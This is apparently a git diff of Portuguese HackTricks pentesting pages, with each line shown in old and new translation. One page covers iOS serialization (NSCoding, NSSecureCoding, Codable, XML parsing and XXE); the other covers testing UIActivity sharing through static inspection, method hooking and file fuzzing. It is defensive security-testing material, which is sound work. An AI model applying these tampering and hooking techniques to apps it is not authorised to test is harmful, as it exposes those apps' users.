### NSCoding e NSSecureCoding
|
||||
|
||||
O iOS vem com dois protocolos para **serialização** de objetos para Objective-C ou `NSObject`s: **`NSCoding`** e **`NSSecureCoding`**. Quando uma **classe se conforma** a qualquer um dos protocolos, os dados são serializados para **`NSData`**: um invólucro para **buffers de bytes**. Observe que `Data` em Swift é o mesmo que `NSData` ou seu contraparte mutável: `NSMutableData`. O protocolo `NSCoding` declara os dois métodos que devem ser implementados para codificar/decodificar suas variáveis de instância. **Uma classe que usa `NSCoding` precisa implementar `NSObject` ou ser anotada como uma classe @objc**. O protocolo `NSCoding` requer a implementação de codificação e inicialização, conforme mostrado abaixo.
|
||||
O iOS vem com dois protocolos para **serialização** de objetos para Objective-C ou `NSObject`s: **`NSCoding`** e **`NSSecureCoding`**. Quando uma **classe está em conformidade** com qualquer um dos protocolos, os dados são serializados para **`NSData`**: um invólucro para **buffers de bytes**. Note que `Data` em Swift é o mesmo que `NSData` ou seu equivalente mutável: `NSMutableData`. O protocolo `NSCoding` declara os dois métodos que devem ser implementados para codificar/deodificar suas variáveis de instância. **Uma classe que usa `NSCoding` precisa implementar `NSObject` ou ser anotada como uma classe @objc**. O protocolo `NSCoding` exige a implementação de encode e init conforme mostrado abaixo.
|
||||
```
|
||||
```swift
|
||||
class CustomPoint: NSObject, NSCoding {
|
||||
|
||||
//required by NSCoding:
|
||||
func encode(with aCoder: NSCoder) {
|
||||
aCoder.encode(x, forKey: "x")
|
||||
aCoder.encode(name, forKey: "name")
|
||||
}
|
||||
//required by NSCoding:
|
||||
func encode(with aCoder: NSCoder) {
|
||||
aCoder.encode(x, forKey: "x")
|
||||
aCoder.encode(name, forKey: "name")
|
||||
}
|
||||
|
||||
var x: Double = 0.0
|
||||
var name: String = ""
|
||||
var x: Double = 0.0
|
||||
var name: String = ""
|
||||
|
||||
init(x: Double, name: String) {
|
||||
self.x = x
|
||||
self.name = name
|
||||
}
|
||||
init(x: Double, name: String) {
|
||||
self.x = x
|
||||
self.name = name
|
||||
}
|
||||
|
||||
// required by NSCoding: initialize members using a decoder.
|
||||
required convenience init?(coder aDecoder: NSCoder) {
|
||||
guard let name = aDecoder.decodeObject(forKey: "name") as? String
|
||||
else {return nil}
|
||||
self.init(x:aDecoder.decodeDouble(forKey:"x"),
|
||||
name:name)
|
||||
}
|
||||
// required by NSCoding: initialize members using a decoder.
|
||||
required convenience init?(coder aDecoder: NSCoder) {
|
||||
guard let name = aDecoder.decodeObject(forKey: "name") as? String
|
||||
else {return nil}
|
||||
self.init(x:aDecoder.decodeDouble(forKey:"x"),
|
||||
name:name)
|
||||
}
|
||||
|
||||
//getters/setters/etc.
|
||||
//getters/setters/etc.
|
||||
}
|
||||
```
|
||||
O problema com `NSCoding` é que o objeto muitas vezes já está **construído e inserido antes que você possa avaliar** o tipo de classe. Isso **permite que um invasor injete facilmente todos os tipos de dados**. Portanto, o protocolo **`NSSecureCoding`** foi introduzido. Ao se conformar com [`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding), você precisa incluir:
|
||||
O problema com `NSCoding` é que o objeto muitas vezes já está **construído e inserido antes de você poder avaliar** o tipo de classe. Isso **permite que um atacante injete facilmente todos os tipos de dados**. Portanto, o protocolo **`NSSecureCoding`** foi introduzido. Ao conformar-se com [`NSSecureCoding`](https://developer.apple.com/documentation/foundation/NSSecureCoding), você precisa incluir:
|
||||
```swift
|
||||
static var supportsSecureCoding: Bool {
|
||||
return true
|
||||
return true
|
||||
}
|
||||
```
|
||||
quando `init(coder:)` faz parte da classe. Em seguida, ao decodificar o objeto, deve ser feita uma verificação, por exemplo:
|
||||
```swift
|
||||
let obj = decoder.decodeObject(of:MyClass.self, forKey: "myKey")
|
||||
```
|
||||
A conformidade com `NSSecureCoding` garante que os objetos que estão sendo instanciados são realmente aqueles que eram esperados. No entanto, **não há verificações adicionais de integridade** sobre os dados e os dados não são criptografados. Portanto, quaisquer dados secretos precisam de **criptografia** adicional e os dados cuja integridade deve ser protegida devem receber um HMAC adicional.
|
||||
A conformidade com `NSSecureCoding` garante que os objetos sendo instanciados são de fato aqueles que eram esperados. No entanto, **não são realizadas verificações adicionais de integridade** sobre os dados e os dados não são criptografados. Portanto, qualquer dado secreto precisa de **criptografia** adicional e dados cuja integridade deve ser protegida devem receber um HMAC adicional.
|
||||
|
||||
### Arquivamento de objetos com NSKeyedArchiver
|
||||
### Arquivamento de Objetos com NSKeyedArchiver
|
||||
|
||||
`NSKeyedArchiver` é uma subclasse concreta de `NSCoder` e fornece uma maneira de codificar objetos e armazená-los em um arquivo. O `NSKeyedUnarchiver` decodifica os dados e recria os dados originais. Vamos pegar o exemplo da seção `NSCoding` e agora arquivá-los e desarquivá-los:
|
||||
`NSKeyedArchiver` é uma subclasse concreta de `NSCoder` e oferece uma maneira de codificar objetos e armazená-los em um arquivo. O `NSKeyedUnarchiver` decodifica os dados e recria os dados originais. Vamos pegar o exemplo da seção `NSCoding` e agora arquivar e desarquivar eles:
|
||||
```swift
|
||||
// archiving:
|
||||
NSKeyedArchiver.archiveRootObject(customPoint, toFile: "/path/to/archive")
|
||||
|
||||
// unarchiving:
|
||||
guard let customPoint = NSKeyedUnarchiver.unarchiveObjectWithFile("/path/to/archive") as?
|
||||
CustomPoint else { return nil }
|
||||
CustomPoint else { return nil }
|
||||
```
|
||||
Você também pode salvar as informações no plist primário `NSUserDefaults`:
|
||||
```swift
|
||||
|
@ -60,45 +62,45 @@ NSUserDefaults.standardUserDefaults().setObject(data, forKey: "customPoint")
|
|||
|
||||
// unarchiving:
|
||||
if let data = NSUserDefaults.standardUserDefaults().objectForKey("customPoint") as? NSData {
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
|
||||
let customPoint = NSKeyedUnarchiver.unarchiveObjectWithData(data)
|
||||
}
|
||||
```
|
||||
### Codable
|
||||
|
||||
É uma combinação dos protocolos `Decodable` e `Encodable`. Uma `String`, `Int`, `Double`, `Date`, `Data` e `URL` são `Codable` por natureza: o que significa que podem ser facilmente codificados e decodificados sem nenhum trabalho adicional. Vamos ver o seguinte exemplo:
|
||||
É uma combinação dos protocolos `Decodable` e `Encodable`. Uma `String`, `Int`, `Double`, `Date`, `Data` e `URL` são naturalmente `Codable`: o que significa que podem ser codificados e decodificados facilmente sem nenhum trabalho adicional. Vamos ver o seguinte exemplo:
|
||||
```swift
|
||||
struct CustomPointStruct:Codable {
|
||||
var x: Double
|
||||
var name: String
|
||||
var x: Double
|
||||
var name: String
|
||||
}
|
||||
```
|
||||
Ao adicionar `Codable` à lista de herança para `CustomPointStruct` no exemplo, os métodos `init(from:)` e `encode(to:)` são automaticamente suportados. Para mais detalhes sobre o funcionamento de `Codable`, confira [a documentação do desenvolvedor da Apple](https://developer.apple.com/documentation/foundation/archives\_and\_serialization/encoding\_and\_decoding\_custom\_types).
|
||||
Adicionando `Codable` à lista de herança para o `CustomPointStruct` no exemplo, os métodos `init(from:)` e `encode(to:)` são automaticamente suportados. Para mais detalhes sobre o funcionamento do `Codable`, consulte [a Documentação do Desenvolvedor Apple](https://developer.apple.com/documentation/foundation/archives_and_serialization/encoding_and_decoding_custom_types).
|
||||
|
||||
Você também pode usar o codable para salvar os dados na lista de propriedades primárias `NSUserDefaults`:
|
||||
Você também pode usar codable para salvar os dados na lista de propriedades primária `NSUserDefaults`:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
|
||||
var points: [CustomPointStruct] = [
|
||||
CustomPointStruct(point: 1, name: "test"),
|
||||
CustomPointStruct(point: 2, name: "test"),
|
||||
CustomPointStruct(point: 3, name: "test"),
|
||||
]
|
||||
var points: [CustomPointStruct] = [
|
||||
CustomPointStruct(point: 1, name: "test"),
|
||||
CustomPointStruct(point: 2, name: "test"),
|
||||
CustomPointStruct(point: 3, name: "test"),
|
||||
]
|
||||
|
||||
UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points")
|
||||
if let data = UserDefaults.standard.value(forKey: "points") as? Data {
|
||||
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
|
||||
}
|
||||
UserDefaults.standard.set(try? PropertyListEncoder().encode(points), forKey: "points")
|
||||
if let data = UserDefaults.standard.value(forKey: "points") as? Data {
|
||||
let points2 = try? PropertyListDecoder().decode([CustomPointStruct].self, from: data)
|
||||
}
|
||||
```
|
||||
### Codificação JSON
|
||||
|
||||
Existem muitas bibliotecas de terceiros para codificar dados em JSON (como exposto [aqui](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). No entanto, a Apple fornece suporte para codificação/decodificação JSON diretamente combinando `Codable` com um `JSONEncoder` e um `JSONDecoder`:
|
||||
Existem muitas bibliotecas de terceiros para codificar dados em JSON (como exposto [aqui](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06h-testing-platform-interaction#json-and-codable)). No entanto, a Apple oferece suporte para codificação/decodificação de JSON diretamente combinando `Codable` com um `JSONEncoder` e um `JSONDecoder`:
|
||||
```swift
|
||||
struct CustomPointStruct: Codable {
|
||||
var point: Double
|
||||
var name: String
|
||||
var point: Double
|
||||
var name: String
|
||||
}
|
||||
|
||||
let encoder = JSONEncoder()
|
||||
|
@ -115,15 +117,15 @@ let stringData = String(data: data, encoding: .utf8)
|
|||
```
|
||||
### XML
|
||||
|
||||
Existem várias maneiras de fazer a codificação XML. Assim como a análise JSON, existem várias bibliotecas de terceiros, como: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
|
||||
Existem várias maneiras de fazer codificação XML. Semelhante ao parsing de JSON, existem várias bibliotecas de terceiros, como: [Fuzi](https://github.com/cezheng/Fuzi), [Ono](https://github.com/mattt/Ono), [AEXML](https://github.com/tadija/AEXML), [RaptureXML](https://github.com/ZaBlanc/RaptureXML), [SwiftyXMLParser](https://github.com/yahoojapan/SwiftyXMLParser), [SWXMLHash](https://github.com/drmohundro/SWXMLHash)
|
||||
|
||||
Elas variam em termos de velocidade, uso de memória, persistência de objetos e, mais importante, diferem em como lidam com as entidades XML externas. Veja [XXE no visualizador de escritório da Apple iOS](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) como exemplo. Portanto, é fundamental desativar a análise de entidades externas XML, se possível. Consulte a [folha de dicas de prevenção de XXE da OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html) para obter mais detalhes. Além das bibliotecas, você pode usar a classe [`XMLParser` da Apple](https://developer.apple.com/documentation/foundation/xmlparser)
|
||||
Elas variam em termos de velocidade, uso de memória, persistência de objetos e mais importante: diferem na forma como lidam com entidades externas XML. Veja [XXE no visualizador de Office da Apple iOS](https://nvd.nist.gov/vuln/detail/CVE-2015-3784) como exemplo. Portanto, é fundamental desativar o parsing de entidades externas, se possível. Veja a [folha de dicas de prevenção de XXE da OWASP](https://cheatsheetseries.owasp.org/cheatsheets/XML\_External\_Entity\_Prevention\_Cheat\_Sheet.html) para mais detalhes. Além das bibliotecas, você pode usar a classe [`XMLParser` da Apple](https://developer.apple.com/documentation/foundation/xmlparser)
|
||||
|
||||
Ao não usar bibliotecas de terceiros, mas o `XMLParser` da Apple, certifique-se de deixar `shouldResolveExternalEntities` retornar `false`.
|
||||
Quando não estiver usando bibliotecas de terceiros, mas sim o `XMLParser` da Apple, certifique-se de que `shouldResolveExternalEntities` retorne `false`.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Todas essas maneiras de serializar/codificar dados podem ser **usadas para armazenar dados no sistema de arquivos**. Nesses cenários, verifique se os dados armazenados contêm algum tipo de **informação confidencial**.\
|
||||
Além disso, em alguns casos, você pode ser capaz de **abusar de alguns dados serializados** (capturando-os via MitM ou modificando-os dentro do sistema de arquivos) desserializando dados arbitrários e **fazendo com que o aplicativo execute ações inesperadas** (consulte a página de [desserialização](../../pentesting-web/deserialization/)). Nesses casos, é recomendável enviar/salvar os dados serializados criptografados e assinados.
|
||||
Todas essas formas de serializar/codificar dados podem ser **usadas para armazenar dados no sistema de arquivos**. Nesses cenários, verifique se os dados armazenados contêm qualquer tipo de **informação sensível**.\
|
||||
Além disso, em alguns casos, você pode ser capaz de **abusar de alguns dados serializados** (capturando-os via MitM ou modificando-os dentro do sistema de arquivos) desserializando dados arbitrários e **fazendo com que o aplicativo execute ações inesperadas** (veja a [página de Deserialization](../../pentesting-web/deserialization/)). Nestes casos, é recomendado enviar/salvar os dados serializados criptografados e assinados.
|
||||
{% endhint %}
|
||||
|
||||
## Referências
|
||||
|
@ -134,16 +136,14 @@ Além disso, em alguns casos, você pode ser capaz de **abusar de alguns dados s
|
|||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
|
||||
- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtenha o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,82 +1,95 @@
|
|||
# Compartilhamento de UIActivity
|
||||
<details>
|
||||
|
||||
A partir do iOS 6, é possível para aplicativos de terceiros **compartilhar dados (itens)** por meio de mecanismos específicos [como o AirDrop, por exemplo](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple\_ref/doc/uid/TP40007072-CH6-SW3). Do ponto de vista do usuário, esse recurso é a conhecida _folha de atividade de compartilhamento_ do sistema que aparece após clicar no botão "Compartilhar".
|
||||
<summary><strong>Aprenda hacking no AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Uma lista completa dos mecanismos de compartilhamento integrados disponíveis pode ser encontrada em [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Se não considerado apropriado para o aplicativo, os **desenvolvedores têm a possibilidade de excluir alguns desses mecanismos de compartilhamento**.
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
## **Enviando itens**
|
||||
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) no github.
|
||||
|
||||
Ao testar o Compartilhamento de UIActivity, você deve prestar atenção especial em:
|
||||
</details>
|
||||
|
||||
|
||||
# Compartilhamento UIActivity
|
||||
|
||||
A partir do iOS 6, é possível para aplicativos de terceiros **compartilhar dados (itens)** através de mecanismos específicos [como o AirDrop, por exemplo](https://developer.apple.com/library/archive/documentation/iPhone/Conceptual/iPhoneOSProgrammingGuide/Inter-AppCommunication/Inter-AppCommunication.html#//apple_ref/doc/uid/TP40007072-CH6-SW3). Do ponto de vista do usuário, essa funcionalidade é a conhecida _folha de atividade de compartilhamento_ do sistema que aparece após clicar no botão "Compartilhar".
|
||||
|
||||
Uma lista completa dos mecanismos de compartilhamento integrados disponíveis pode ser encontrada em [UIActivity.ActivityType](https://developer.apple.com/documentation/uikit/uiactivity/activitytype). Se não considerados apropriados para o aplicativo, os **desenvolvedores têm a possibilidade de excluir alguns desses mecanismos de compartilhamento**.
|
||||
|
||||
## **Enviando Itens**
|
||||
|
||||
Ao testar o Compartilhamento `UIActivity`, você deve prestar atenção especial a:
|
||||
|
||||
* os dados (itens) sendo compartilhados,
|
||||
* as atividades personalizadas,
|
||||
* os tipos de atividade excluídos.
|
||||
|
||||
O compartilhamento de dados via `UIActivity` funciona criando um `UIActivityViewController` e passando os itens desejados (URLs, texto, uma imagem) em [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init).
|
||||
O compartilhamento de dados via `UIActivity` funciona criando um `UIActivityViewController` e passando a ele os itens desejados (URLs, texto, uma imagem) em [`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init).
|
||||
|
||||
Se você tiver o código-fonte, deve dar uma olhada no `UIActivityViewController`:
|
||||
Se tiver o código-fonte, você deve examinar o `UIActivityViewController`:
|
||||
|
||||
* Inspecione as atividades passadas para o método `init(activityItems:applicationActivities:)`.
|
||||
* Verifique se ele define atividades personalizadas (também sendo passadas para o método anterior).
|
||||
* Verifique os `excludedActivityTypes`, se houver.
|
||||
|
||||
Se você só tem o aplicativo compilado/instalado, tente procurar pelo método e propriedade anterior, por exemplo:
|
||||
Se você só tem o aplicativo compilado/instalado, tente procurar pelo método e propriedade anteriores, por exemplo:
|
||||
```bash
|
||||
$ rabin2 -zq Telegram\ X.app/Telegram\ X | grep -i activityItems
|
||||
0x1000df034 45 44 initWithActivityItems:applicationActivities:
|
||||
```
|
||||
## **Recebendo itens**
|
||||
## **Recebendo Itens**
|
||||
|
||||
Ao receber itens, você deve verificar:
|
||||
|
||||
* se o aplicativo **declara** _**tipos de documentos personalizados**_ olhando em **UTIs exportados/importados** ("Informações" na guia do projeto Xcode). A lista de todas as UTIs declaradas pelo sistema pode ser encontrada na [Documentação do Desenvolvedor da Apple arquivada](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple\_ref/doc/uid/TP40009259).
|
||||
* se o aplicativo especifica quais _**tipos de documentos que ele pode abrir**_ olhando em **Tipos de Documentos** ("Informações" na guia do projeto Xcode). Se presente, eles consistem em nome e uma ou mais UTIs que representam o tipo de dados (por exemplo, "public.png" para arquivos PNG). O iOS usa isso para determinar se o aplicativo é elegível para abrir um determinado documento (especificar UTIs exportados/importados não é suficiente).
|
||||
* se o aplicativo verifica corretamente os dados recebidos olhando para a implementação de [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (ou sua versão obsoleta [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) no delegado do aplicativo.
|
||||
* se o aplicativo **declara** _**tipos de documentos personalizados**_ ao olhar para **Exported/Imported UTIs** (aba "Info" do projeto Xcode). A lista de todos os UTIs declarados pelo sistema (Uniform Type Identifiers) pode ser encontrada na [documentação arquivada da Apple Developer](https://developer.apple.com/library/archive/documentation/Miscellaneous/Reference/UTIRef/Articles/System-DeclaredUniformTypeIdentifiers.html#//apple_ref/doc/uid/TP40009259).
|
||||
* se o aplicativo especifica quaisquer _**tipos de documentos que ele pode abrir**_ ao olhar para **Document Types** (aba "Info" do projeto Xcode). Se presentes, eles consistem em um nome e um ou mais UTIs que representam o tipo de dado (por exemplo, "public.png" para arquivos PNG). O iOS usa isso para determinar se o aplicativo é elegível para abrir um determinado documento (especificar Exported/Imported UTIs não é suficiente).
|
||||
* se o aplicativo verifica adequadamente os _**dados recebidos**_ ao olhar para a implementação de [`application:openURL:options:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623112-application?language=objc) (ou sua versão obsoleta [`UIApplicationDelegate application:openURL:sourceApplication:annotation:`](https://developer.apple.com/documentation/uikit/uiapplicationdelegate/1623073-application?language=objc)) no app delegate.
|
||||
|
||||
Se não tiver o código-fonte, você ainda pode dar uma olhada no arquivo `Info.plist` e procurar por:
|
||||
Se não tiver o código-fonte, você ainda pode olhar para o arquivo `Info.plist` e procurar por:
|
||||
|
||||
* `UTExportedTypeDeclarations`/`UTImportedTypeDeclarations` se o aplicativo declara _tipos de documentos personalizados_ exportados/importados.
|
||||
* `CFBundleDocumentTypes` para ver se o aplicativo especifica quais _tipos de documentos que ele pode abrir_.
|
||||
* `CFBundleDocumentTypes` para ver se o aplicativo especifica quaisquer _tipos de documentos que ele pode abrir_.
|
||||
|
||||
Uma explicação muito completa sobre o uso dessas chaves pode ser encontrada [no Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), mas aqui você tem um resumo:
|
||||
Uma explicação muito completa sobre o uso dessas chaves pode ser encontrada [no Stackoverflow](https://stackoverflow.com/questions/21937978/what-are-utimportedtypedeclarations-and-utexportedtypedeclarations-used-for-on-i), mas aqui está um resumo:
|
||||
|
||||
* `UTExportedTypeDeclarations`: Use-os para definir **suas próprias UTIs** que seu aplicativo deseja ensinar ao sistema em que está instalado. Uma **UTI descreve um pedaço de dados** (_não necessariamente dados localizados dentro de um arquivo!_) e requer pelo menos um **identificador** (`com.example.MyCoolDataType`). Além disso, pode ter um **nome** (`My Cool Data Type`), uma ou mais **extensões de nome de arquivo** (`.myCoolDataType`), um ou mais **tipos MIME** (`x-application/my-cool-data-type`), um ou mais **tipos de prancheta** (usados ao transferir dados desse tipo usando copiar e colar) e um ou mais **tipos de sistema operacional legado**. Geralmente, você também deseja que as UTIs se conformem às UTIs existentes (por exemplo, quando você diz que sua UTI se conforma com `public.data`, qualquer processo que possa lidar com dados genéricos também pode lidar com sua UTI).
|
||||
* por exemplo: você define seu próprio formato de dados de arquivo proprietário e deseja que esse formato de dados também seja conhecido por outros aplicativos, plug-ins, extensões, etc.
|
||||
* `UTImportedTypeDeclarations`: Você usa `UTImportedTypeDeclarations` para **ensinar o sistema sobre UTIs que você deseja que sejam conhecidas no sistema, mas que não são suas UTIs**.
|
||||
* por exemplo: seu aplicativo é capaz de ler o formato de dados proprietário de outro aplicativo, mas você não sabe se esse aplicativo está instalado no sistema.
|
||||
* `CFBundleDocumentTypes`: Você usa `CFBundleDocumentTypes` para informar ao sistema quais tipos de documentos seu aplicativo é capaz de abrir. A menos que você **também liste suas UTIs aqui**, essas UTIs não estão associadas ao seu aplicativo no Finder e seu aplicativo não aparecerá no menu `Abrir com >`. \
|
||||
A única coisa que você sempre deve definir para um tipo de documento é o papel. O **papel** pode ser "**Visualizador**" (você pode exibir esse tipo de arquivo, mas não pode editá-lo), "**Editor**" (você pode exibir e editar esse tipo de arquivo) ou "**Nenhum**" (não é especificado o que você pode fazer com esse tipo de arquivo).
|
||||
* por exemplo: você deseja que seu **aplicativo seja associado a determinados tipos de arquivo**, identificados por extensão, tipo MIME ou identificador UTI. **Se você deseja que seu aplicativo seja associado a um tipo de UTI, o aplicativo deve importar ou exportar o tipo**, caso contrário, o tipo pode não ser conhecido pelo sistema e o registro em um tipo de UTI desconhecido não tem efeito algum.
|
||||
* `UTExportedTypeDeclarations`: Use-os para definir **seus próprios UTIs** que seu aplicativo deseja ensinar ao sistema onde está instalado. Um **UTI descreve um pedaço de dado** (_não necessariamente dados localizados dentro de um arquivo!_) e requer pelo menos um **identificador** (`com.example.MyCoolDataType`). Adicionalmente, pode ter um **nome** (`My Cool Data Type`), uma ou mais extensões de nome de **arquivo** (`.myCoolDataType`), um ou mais **tipos MIME** (`x-application/my-cool-data-type`), um ou mais **tipos de prancheta** (usados ao transferir dados desse tipo usando copiar\&colar), e um ou mais **tipos de sistema operacional legado**. Geralmente, você também quer que os UTIs estejam em conformidade com UTIs existentes (por exemplo, quando você diz que seu UTI está em conformidade com `public.data`, qualquer processo que possa lidar com dados genéricos também pode lidar com seu UTI).
|
||||
* Exemplo: Você define seu próprio formato de dados de arquivo proprietário e deseja que esse formato de dados também seja conhecido por outros aplicativos, plugins, extensões e assim por diante.
|
||||
* `UTImportedTypeDeclarations`: Você usa `UTImportedTypeDeclarations` para **ensinar o sistema sobre UTIs que você quer que sejam conhecidos no sistema, mas que não são seus UTIs**.
|
||||
* Exemplo: Seu aplicativo é capaz de ler o formato de dados proprietário de outro aplicativo, mas você não sabe se esse aplicativo está instalado no sistema.
|
||||
* `CFBundleDocumentTypes`: Você usa `CFBundleDocumentTypes` para informar ao sistema quais tipos de documentos seu aplicativo é capaz de abrir. A menos que você **também liste seus UTIs aqui**, esses UTIs não são associados ao seu aplicativo no Finder e seu aplicativo não aparecerá no menu `Abrir Com >`. \
|
||||
A única coisa que você sempre deve definir para um tipo de documento é o papel. O **papel** pode ser "**Visualizador**" (você pode exibir esse tipo de arquivo, mas não pode editá-lo), "**Editor**" (você pode exibir e editar esse tipo de arquivo), "**Nenhum**" (não está especificado o que você pode fazer com esse arquivo).
|
||||
* Exemplo: Você quer que seu **aplicativo seja associado a certos tipos de arquivos**, identificados por extensão, tipo MIME ou identificador UTI. **Se você quer que seu aplicativo seja associado a um tipo de UTI, o aplicativo deve importar ou exportar o tipo**, caso contrário, o tipo pode não ser conhecido pelo sistema e registrar um tipo de UTI desconhecido simplesmente não tem efeito algum.
|
||||
|
||||
## Teste Dinâmico
|
||||
|
||||
Para **enviar atividades**, você pode:
|
||||
Para **atividades de envio**, você pode:
|
||||
|
||||
* Hook o método que vimos na análise estática ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) para obter os `activityItems` e `applicationActivities`.
|
||||
* Descobrir as atividades excluídas hookando a propriedade [`excludedActivityTypes`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes).
|
||||
* Intercepte o método que vimos na análise estática ([`init(activityItems:applicationActivities:)`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622019-init)) para obter os `activityItems` e `applicationActivities`.
|
||||
* Descubra as atividades excluídas interceptando a propriedade [`excludedActivityTypes`](https://developer.apple.com/documentation/uikit/uiactivityviewcontroller/1622009-excludedactivitytypes).
|
||||
|
||||
Para receber itens, você pode:
|
||||
|
||||
* _Compartilhar_ um arquivo com o aplicativo de outro aplicativo ou enviá-lo via AirDrop ou e-mail. Escolha o arquivo para que ele acione o diálogo "Abrir com..." (ou seja, não há um aplicativo padrão que abrirá o arquivo, um PDF, por exemplo).
|
||||
* Hook `application:openURL:options:` e quaisquer outros métodos que foram identificados em uma análise estática anterior.
|
||||
* Observar o comportamento do aplicativo.
|
||||
* Além disso, você pode enviar arquivos específicos malformados e/ou usar uma técnica de fuzzing.
|
||||
* _Compartilhar_ um arquivo com o aplicativo a partir de outro aplicativo ou enviá-lo via AirDrop ou e-mail. Escolha o arquivo de forma que ele acione o diálogo "Abrir com..." (ou seja, não há um aplicativo padrão que abrirá o arquivo, um PDF, por exemplo).
|
||||
